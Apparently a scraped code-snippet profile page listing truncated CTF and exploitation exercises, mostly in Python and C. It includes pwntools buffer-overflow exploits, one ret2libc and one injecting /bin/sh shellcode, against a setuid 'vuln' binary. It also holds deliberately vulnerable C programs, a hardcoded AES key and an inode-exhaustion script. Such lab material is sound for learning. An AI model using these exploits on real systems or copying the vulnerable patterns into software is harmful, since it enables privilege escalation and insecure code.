shankaraman

# Reference: https://abawazeeer.medium.com/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4
newmap = {
2: "Post Fail",
4: "a",
5: "b",
6: "c",
7: "d",
8: "e",
9: "f",
10: "g",

shankaraman

from Crypto.Cipher import AES
import base64

# Encryption
KEY = 'A'*16
IV = '1'*16
encryption_suite = AES.new(KEY, AES.MODE_CBC, IV)
cipher_text = encryption_suite.encrypt("GOODGOODGOODGOOD")
encoded = base64.b64encode(cipher_text)
with open('base64.txt','w') as f:

shankaraman

import java.io.*;
import java.util.zip.*;
public class compress
{
    public static void main(String [] args)
    {
        byte[] buffer = new byte[1024];
    	
    	try{
    		FileOutputStream fos = new FileOutputStream("mellon.zip");

shankaraman

#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
#include <stdint.h>

int main() {

  libnet_t *l;  /* libnet context */
  char errbuf[LIBNET_ERRBUF_SIZE], ip_addr_str[16], *payload;
  u_int32_t ip_addr;

shankaraman

from pwn import *
p = process('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
junk = 'A'*520
libc_sys = 0xb7e63170
retrn = 0xdeadbeef
shell = 0xbffffd5f
payload = junk+p32(libc_sys)+p32(retrn)+p32(shell)
print payload
p.send(payload)

shankaraman

/*
 * Compile the binary as root
 * $ chmod +s vuln
 */
#include<stdio.h>
#include<unistd.h>
void c();

void c(char *arg)
{

shankaraman

from pwn import *
p = process('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
data = p.recvline().strip()
fn_b_addr = int(data.split(":")[1], 16)
#print hex(fn_b_addr)
data = p.recvline().strip()
buffer_addr = int(data.split(":")[1], 16)
print hex(buffer_addr)
payload = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"

shankaraman

#include<stdio.h>
#include<unistd.h>
 
void a();
void b();
void c();
 
void a()
{
    char *dummy[] = {NULL,"dummy"};

shankaraman

import os
# Sorry this is a very lame code
lst = []
data = os.popen('df -i').readlines()
data = data[1].split(' ')
for i in data:
    if i != '':
        lst.append(i)
exhaust_count = int(lst[3])
print "Total free inodes:",exhaust_count